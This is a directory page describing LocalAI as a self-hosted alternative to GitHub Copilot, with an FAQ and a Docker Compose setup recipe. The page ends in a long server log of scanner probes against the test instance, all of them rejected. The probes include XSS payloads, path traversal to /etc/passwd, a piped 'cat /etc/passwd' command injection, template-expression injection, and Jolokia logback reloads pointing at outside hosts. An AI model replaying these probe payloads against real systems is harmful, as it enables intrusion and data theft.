LocalAI is a self-hosted AI engine that replaces cloud APIs like GitHub Copilot with local inference across modular backends on CPU and GPU.
Created in 2023 by Ettore Di Giacinto, LocalAI is a self-hosted AI engine providing OpenAI-compatible endpoints across dozens of modular backends. It runs language models, vision pipelines, and audio on consumer CPUs without requiring discrete GPUs. Development teams point local code assistants and internal services at its API to execute private model inference on premises.
GitHub Copilot operates as a managed cloud service binding code editors to remote Microsoft and OpenAI servers. Every completion prompt, tab trigger, and workspace context snippet traverses the public internet, conflicting with security policies in organizations handling proprietary code. LocalAI replaces this external dependency by serving standard OpenAI and Anthropic API endpoints inside your private network. Developers connect editor extensions like Continue or Neovim plugins to a self-hosted LocalAI instance on a local machine or internal cluster, keeping code inside the perimeter.
The trade-off centers on operational ownership. GitHub Copilot provides a turnkey workflow with automated telemetry, multi-file context indexing, and vendor-maintained editor extensions. LocalAI functions strictly as an inference runtime. DevOps engineers provision host compute and configure model definitions, while developers point editor extensions to local endpoints. In exchange, LocalAI eliminates SaaS subscriptions, supports Model Context Protocol, and lets teams swap backends from llama.cpp to vLLM or Apple Silicon MLX without altering developer tooling.
Can LocalAI replace GitHub Copilot for code completion? Yes, when paired with an editor client like Continue that targets OpenAI-compatible endpoints. It executes completions locally, though teams must manage their own model weights and compute hardware.
Does LocalAI require a dedicated GPU to run? No, LocalAI includes CPU-optimized backends using AVX instruction sets that run inference on standard processors. Discrete NVIDIA, AMD, or Apple Silicon GPUs speed up token generation but are optional.
Is LocalAI free for commercial use? Yes, LocalAI is distributed under the MIT license without commercial restrictions or seat licensing fees. Organizations pay only for the compute resources needed to run their instances.
LocalAI is a practical choice for development teams requiring complete code sovereignty and unified model routing, provided they are prepared to manage container infrastructure and IDE client plugins. Active maintenance through September 2026 and an MIT license make it a dependable foundation for internal developer platforms. Teams wanting a turnkey assistant without managing local infrastructure should choose a hosted service instead.
Commands from the official package registries. Each package is matched to LocalAI through the registry's own link to its source code or website.
brew install localaibrew install localaiWe started this exact setup from scratch in a clean Linux machine on Nov 1, 2026 and checked it through LocalAI's own API: every check passed. Recipes are re-checked regularly and removed if they stop working.
mkdir -p localai && cd localai
curl -fsSL https://open-source.store/tools/localai/compose.yml -o compose.ymlcat > .env <<EOF
LOCALAI_API_KEY=$(openssl rand -hex 16)
EOFLOCALAI_API_KEY — API key required to authenticate API requests and access the WebUI. Generated above; keep it secret.docker compose up -dservices:
api:
image: localai/localai:v4.12.1
ports:
- "8080:8080"
environment:
- MODELS_PATH=/models
- LOCALAI_VRAM_WARM_LIMIT=0
- LOCALAI_API_KEY=${LOCALAI_API_KEY}
volumes:
- models:/models
- images:/tmp/generated/images/
- data:/data
- backends:/backends
- configuration:/configuration
restart: always
healthcheck:
test: ["CMD", "/healthcheck.sh"]
interval: 5s
timeout: 5s
retries: 20
volumes:
models:
images:
data:
backends:
configuration:
Go, gRPC and Protobuf done right, LLM agents in production, and the hard parts of shipping a first product.
Show that LocalAI is listed as an open-source alternative. Paste into your README:
Ubuntu 24.04 · Apple container, Docker 29.1.3, Compose 2.40.3+ds1-0ubuntu1~24.04.1. Images pulled in 40 s: localai/localai:v4.12.1.
Based on the upstream setup. Official compose without demo model command; image pinned to v4.12.1; LOCALAI_API_KEY generated in .env.
api-1 | 2026-11-01T03:24:26.806176135Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/appsettings.Production.json" status=401
api-1 | 2026-11-01T03:24:26.806179218Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/" status=301
api-1 | 2026-11-01T03:24:26.806181093Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/RST_status.htm\x00currentsetting.htm" status=401
api-1 | 2026-11-01T03:24:26.806182926Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css" status=401
api-1 | 2026-11-01T03:24:26.806184718Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/cpanelwebcall/<img src=x onerror=\"prompt(document.domain)\">aaaaaaaaaaaa" status=401
api-1 | 2026-11-01T03:24:26.806186843Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/user_secrets.yml.old" status=401
api-1 | 2026-11-01T03:24:26.806188551Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/" status=301
api-1 | 2026-11-01T03:24:26.806190176Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/index.php/test\" onmouseover=\"alert(document.domain);\" style=\"font-size:100000px;background-color:white\";" status=401
api-1 | 2026-11-01T03:24:26.806217218Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/nonexistent:31337!/logback.xml" status=401
api-1 | 2026-11-01T03:24:26.806219593Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/mobile/index.php" status=401
api-1 | 2026-11-01T03:24:26.806223385Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/nonexistent:31337!/logback.xml" status=401
api-1 | 2026-11-01T03:24:26.806225760Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/" status=301
api-1 | 2026-11-01T03:24:26.806227343Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/gsearch.php.en" status=401
api-1 | 2026-11-01T03:24:26.806229051Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/wp-admin/admin-ajax.php" status=401
api-1 | 2026-11-01T03:24:26.806230718Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/kOtFkftX\"><script>alert(document.domain)</script>/..CFIDE/wizards/common/_authenticatewizarduser.cfm" status=401
api-1 | 2026-11-01T03:24:26.806232885Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/CFIDE/debug/cf_debugFr.cfm" status=401
api-1 | 2026-11-01T03:24:26.806234551Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/te<img src=x onerror=alert(42)>st" status=401
api-1 | 2026-11-01T03:24:26.806236385Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/RST_status.htm\x00currentsetting.htm" status=401
api-1 | 2026-11-01T03:24:26.806238051Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/gsearch.php.en" status=401
api-1 | 2026-11-01T03:24:26.806239801Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/webapi/v1/system/accountmanage/account" status=401
api-1 | 2026-11-01T03:24:26.806241510Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/cpanelwebcall/<img src=x onerror=\"prompt(document.domain)\">aaaaaaaaaaaa" status=401
api-1 | 2026-11-01T03:24:26.806252051Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/" status=301
api-1 | 2026-11-01T03:24:26.806254385Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/te<img src=x onerror=alert(42)>st" status=401
api-1 | 2026-11-01T03:24:26.806256135Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/Electron/download/windows/\\windows\\win.ini" status=401
api-1 | 2026-11-01T03:24:26.806258343Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css" status=401
api-1 | 2026-11-01T03:24:26.806736676Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/cpanelwebcall/<><img src=x onerror=\"prompt(document.domain)\">" status=401
api-1 | 2026-11-01T03:24:26.810043301Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/webadmin/policy/group_table_ajax.php/</script><script>alert(document.domain)</script>" status=401
api-1 | 2026-11-01T03:24:26.810260676Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/wp-content/themes/oxygen-theme/download.php" status=401
api-1 | 2026-11-01T03:24:26.810357385Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/Wizard.aspx" status=401
api-1 | 2026-11-01T03:24:26.810552968Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/index.php" status=401
api-1 | 2026-11-01T03:24:26.810628176Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/index.php/test\" onmouseover=\"alert(document.domain);\" style=\"font-size:100000px;background-color:white\";" status=401
api-1 | 2026-11-01T03:24:26.810782551Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/cfusion/debug/cf_debugFr.cfm" status=401
api-1 | 2026-11-01T03:24:26.810874926Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/index.php" status=401
api-1 | 2026-11-01T03:24:26.811000093Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/index.php/install" status=401
api-1 | 2026-11-01T03:24:26.811096343Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/cpanelwebcall/<><img src=x onerror=\"prompt(document.domain)\">" status=401
api-1 | 2026-11-01T03:24:26.811186176Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/resources/qmc/fonts/../../../qrs/ReloadTask" status=401
api-1 | 2026-11-01T03:24:26.811287218Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/ventrilo_srv.ini" status=401
api-1 | 2026-11-01T03:24:26.811376551Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/visualrf/group_list.xml" status=401
api-1 | 2026-11-01T03:24:26.811457385Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/ventrilo_srv.ini" status=401
api-1 | 2026-11-01T03:24:26.811544135Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/visualrf/group_list.xml" status=401
api-1 | 2026-11-01T03:24:26.811629343Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/index.php/install" status=401
api-1 | 2026-11-01T03:24:26.811714885Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/badging/badge_template_print.php" status=401
api-1 | 2026-11-01T03:24:26.811793676Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/Wizard.aspx" status=401
api-1 | 2026-11-01T03:24:26.811879885Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/user_secrets.yml.old" status=401
api-1 | 2026-11-01T03:24:26.811965218Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/wp-admin/admin-ajax.php" status=401
api-1 | 2026-11-01T03:24:26.812049343Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/metrics/v1/mbeans" status=401
api-1 | 2026-11-01T03:24:26.812129426Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/nonauth/guestConfirm.cs" status=401
api-1 | 2026-11-01T03:24:26.812216968Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/nuxeo/login.jsp/pwn${31333333330+7}.xhtml" status=401
api-1 | 2026-11-01T03:24:26.812300468Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/nuxeo/login.jsp/pwn${31333333330+7}.xhtml" status=401
api-1 | 2026-11-01T03:24:26.812383676Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/wp-content/themes/oxygen-theme/download.php" status=401
api-1 | 2026-11-01T03:24:26.812463010Z Nov 01 03:24:26 INFO HTTP request method="GET" path="//kOtFkftX\"><script>alert(document.domain)</script>/..CFIDE/wizards/common/_authenticatewizarduser.cfm" status=401
api-1 | 2026-11-01T03:24:26.812555718Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/nonauth/guestConfirm.cs" status=401
api-1 | 2026-11-01T03:24:26.812626551Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/appliance/login.ns" status=401
api-1 | 2026-11-01T03:24:26.812719385Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/atmail" status=401
api-1 | 2026-11-01T03:24:26.812790926Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/cfusion/debug/cf_debugFr.cfm" status=401
api-1 | 2026-11-01T03:24:26.812876093Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/resources/qmc/fonts/../../../qrs/ReloadTask" status=401
api-1 | 2026-11-01T03:24:26.812955801Z Nov 01 03:24:26 INFO HTTP request method="GET" path="//kOtFkftX\"><script>alert(document.domain)</script>/..CFIDE/wizards/common/_authenticatewizarduser.cfm" status=401
api-1 | 2026-11-01T03:24:26.813028635Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/webadmin/policy/group_table_ajax.php/</script><script>alert(document.domain)</script>" status=401
api-1 | 2026-11-01T03:24:26.813107843Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/metrics/v1/mbeans" status=401
api-1 | 2026-11-01T03:24:26.813178926Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/api/v1/confup" status=401
api-1 | 2026-11-01T03:24:26.813253385Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/" status=301
api-1 | 2026-11-01T03:24:26.813591510Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/settings" status=401
api-1 | 2026-11-01T03:24:26.813738801Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/" status=301
api-1 | 2026-11-01T03:24:26.813806635Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/" status=301
api-1 | 2026-11-01T03:24:26.813935468Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/chkisg.htm?Sip=1.1.1.1 | cat /etc/passwd" status=401
api-1 | 2026-11-01T03:24:26.814145885Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/wp-admin/admin-ajax.php" status=401
api-1 | 2026-11-01T03:24:26.814323260Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/atmail" status=401
api-1 | 2026-11-01T03:24:26.814504301Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/api/me" status=401
api-1 | 2026-11-01T03:24:26.814653343Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/appliance/login.ns" status=401
api-1 | 2026-11-01T03:24:26.814852010Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/random:915!/logback.xml" status=401
api-1 | 2026-11-01T03:24:26.815059301Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/chkisg.htm?Sip=1.1.1.1 | cat /etc/passwd" status=401
api-1 | 2026-11-01T03:24:26.815225010Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/random:915!/logback.xml" status=401
api-1 | 2026-11-01T03:24:26.815361051Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/api/v1/confup" status=401
api-1 | 2026-11-01T03:24:26.815540010Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/" status=301
api-1 | 2026-11-01T03:24:26.815838510Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/api/me" status=401
api-1 | 2026-11-01T03:24:26.816145843Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/cmd" status=401
api-1 | 2026-11-01T03:24:26.816435468Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/cmd" status=401
api-1 | 2026-11-01T03:24:26.816799843Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/concrete5/index.php/install" status=401
api-1 | 2026-11-01T03:24:26.817454135Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/indexer/settings" status=401
api-1 | 2026-11-01T03:24:26.819783843Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/index.action" status=401
api-1 | 2026-11-01T03:24:26.819802385Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/compliancepolicyelements.inc.php" status=401
api-1 | 2026-11-01T03:24:26.819850718Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/wp-content/plugins/cab-fare-calculator/tblight.php" status=401
api-1 | 2026-11-01T03:24:26.819893010Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/admin" status=401
api-1 | 2026-11-01T03:24:26.819937510Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/cgi-bin-hax/ExportSettings.sh" status=401
api-1 | 2026-11-01T03:24:26.819977135Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/index.php" status=401
api-1 | 2026-11-01T03:24:26.820023968Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/wp-json/wp/v2/sfwd-question" status=401
api-1 | 2026-11-01T03:24:26.820062135Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/atmail/webmail" status=401
api-1 | 2026-11-01T03:24:26.820105843Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/wp-admin/admin-ajax.php" status=401
api-1 | 2026-11-01T03:24:26.820140135Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/nonauth/addCertException.cs" status=401
api-1 | 2026-11-01T03:24:26.820177718Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/wd/hub/status" status=401
api-1 | 2026-11-01T03:24:26.820231218Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/static/link/../etc/passwd" status=404
api-1 | 2026-11-01T03:24:26.820281385Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/api/users/admin/check" status=401
api-1 | 2026-11-01T03:24:26.820319010Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/admin" status=401
api-1 | 2026-11-01T03:24:26.820353968Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/index.action" status=401
api-1 | 2026-11-01T03:24:26.820399218Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/cgi-bin/live_api.cgi" status=401
api-1 | 2026-11-01T03:24:26.820437760Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/cgi-bin/live_api.cgi" status=401
api-1 | 2026-11-01T03:24:26.820481301Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/v1/models" status=401
api-1 | 2026-11-01T03:24:26.820575885Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/index.php" status=401
api-1 | 2026-11-01T03:24:26.820635176Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/index.php" status=401
api-1 | 2026-11-01T03:24:26.820674135Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/settings" status=401
api-1 | 2026-11-01T03:24:26.820711801Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/nonauth/addCertException.cs" status=401
api-1 | 2026-11-01T03:24:26.820752176Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/index.php" status=401
api-1 | 2026-11-01T03:24:26.820788760Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/v1/models" status=401
api-1 | 2026-11-01T03:24:26.820839051Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/wp-json/wp/v2/sfwd-question" status=401
api-1 | 2026-11-01T03:24:26.820867510Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/wp-admin/admin-ajax.php" status=401
api-1 | 2026-11-01T03:24:26.820911260Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/compliancepolicyelements.inc.php" status=401
api-1 | 2026-11-01T03:24:26.820944385Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/concrete5/index.php/install" status=401
api-1 | 2026-11-01T03:24:26.820982635Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/wd/hub/status" status=401
api-1 | 2026-11-01T03:24:26.821056385Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/api/users/admin/check" status=401
api-1 | 2026-11-01T03:24:26.821107093Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/static/link/../etc/passwd" status=404
api-1 | 2026-11-01T03:24:26.821191510Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/atmail/webmail" status=401
api-1 | 2026-11-01T03:24:26.821204385Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/wp-content/plugins/cab-fare-calculator/tblight.php" status=401
api-1 | 2026-11-01T03:24:26.821234760Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/cgi-bin-hax/ExportSettings.sh" status=401
api-1 | 2026-11-01T03:24:26.822272301Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/nonauth/expiration.cs" status=401
api-1 | 2026-11-01T03:24:26.822371135Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/admin" status=401
api-1 | 2026-11-01T03:24:26.822435843Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/indexer/settings" status=401
api-1 | 2026-11-01T03:24:26.822523843Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/admin" status=401
api-1 | 2026-11-01T03:24:26.822562135Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/nonauth/expiration.cs" status=401
api-1 | 2026-11-01T03:24:26.822669176Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/nonauth/guestConfirm.cs" status=401
api-1 | 2026-11-01T03:24:26.822868510Z Nov 01 03:24:26 INFO HTTP request method="GET" path="/nonauth/guestConfirm.cs" status=401